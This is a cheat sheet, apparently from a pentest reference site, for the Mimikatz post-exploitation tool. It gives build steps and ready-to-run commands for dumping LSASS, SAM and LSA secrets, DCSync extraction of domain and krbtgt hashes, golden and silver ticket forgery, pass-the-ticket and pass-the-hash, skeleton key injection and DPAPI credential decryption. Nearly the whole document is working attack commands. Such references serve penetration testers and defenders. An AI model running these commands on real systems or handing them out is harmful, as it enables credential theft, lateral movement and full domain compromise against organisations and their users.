black electronics

Mimikatz

Mimikatz is a widely-used post-exploitation tool designed to extract sensitive information, such as plaintext passwords, hashes, and Kerberos tickets, from system memory. It is commonly used by penetration testers and attackers to demonstrate the risks of credential theft and privilege escalation in Windows environments.

Installation and Setup

Using Precompiled Binary

  1. Download the release ZIP file.
  2. Extract it to a directory.
  3. Launch as Administrator by right-clicking mimikatz.exe – Run as Administrator.

Building from Source

Terminal window
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimikatz
nmake

Starting Mimikatz

Interactive Mode
mimikatz.exe
Single Command Execution
mimikatz.exe "command"
Enable Debug Privileges
privilege::debug

Core Commands

General Commands

Terminal window
help #List all available commands
exit #Quit Mimikatz
log file.txt #Log all output to a file
version #Display Mimikatz version

Privilege Escalation

Terminal window
privilege::debug #Enable debug privileges
token::whoami #Check the current token privileges
token::elevate #Attempt to elevate the token privileges
token::revert #Revert to original token

Password and Hash Dumping

Local Credential Dumping

Terminal window
sekurlsa::logonpasswords #Dump credentials of logged-in users
sekurlsa::credman #Retrieve saved credentials in Credential Manager

Extract NTLM Hashes

Terminal window
lsadump::sam #Dump hashes from the SAM database
lsadump::lsa /inject #Extract secrets from LSA
lsadump::secrets #Extract stored secrets (e.g., service account passwords)

Domain Controller Hash Extraction (DCSync)

Terminal window
lsadump::dcsync /domain:example.com /user:Administrator #Sync NTLM hash for a specific user
lsadump::dcsync /all /domain:example.com #Sync all domain NTLM hashes
lsadump::dcsync /domain:example.com /user:krbtgt #Extract the Kerberos TGT hash

Kerberos Operations

List and Export Tickets

Terminal window
kerberos::list #List all Kerberos tickets
kerberos::list /export #Export tickets to .kirbi files

Pass-the-Ticket

Terminal window
kerberos::ptt ticket.kirbi #Inject a Kerberos ticket

Golden Ticket Creation

Terminal window
kerberos::golden /domain:example.com /sid:S-1-5-21... /krbtgt:<hash> /user:Administrator

Silver Ticket Creation

Terminal window
kerberos::golden /domain:example.com /sid:S-1-5-21... /target:SERVER /rc4:<hash> /user:User

Kerberos Delegation Tickets

Terminal window
kerberos::golden /domain:example.com /sid:S-1-5-21... /user:Administrator /rc4:<hash> /service:krbtgt

Pass-the-Hash

Perform Pass-the-Hash Attack

Terminal window
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:cmd.exe

Combine with PowerShell

Terminal window
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:powershell.exe

Dumping LSASS Memory

Live Dump

Terminal window
sekurlsa::logonpasswords #Extract credentials directly from memory

Offline Analysis

Terminal window
procdump.exe -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"

Generating Skeleton Keys

Terminal window
misc::skeleton #Inject a universal key to authenticate any domain account

Credential Extraction via DPAPI

Extract Master Keys

Terminal window
dpapi::masterkey /in:<file>

Decrypt Credentials

Terminal window
dpapi::cred /in:<credential_file>
dpapi::wifi /in:<wireless_profile.xml>

Exporting and Logging

Export Logs

Terminal window
log log.txt #Save output to a file

Export Kerberos Tickets

Terminal window
kerberos::list /export #Save tickets to .kirbi files

Advanced Examples and Use Cases

Extracting Service Account Passwords

Terminal window
lsadump::secrets /inject

Bypassing RunAs Restrictions

Terminal window
token::elevate
misc::cmd

Stealing Cached Credentials

Terminal window
sekurlsa::logonpasswords
Useful LinksPentest PayloadsCheat Sheets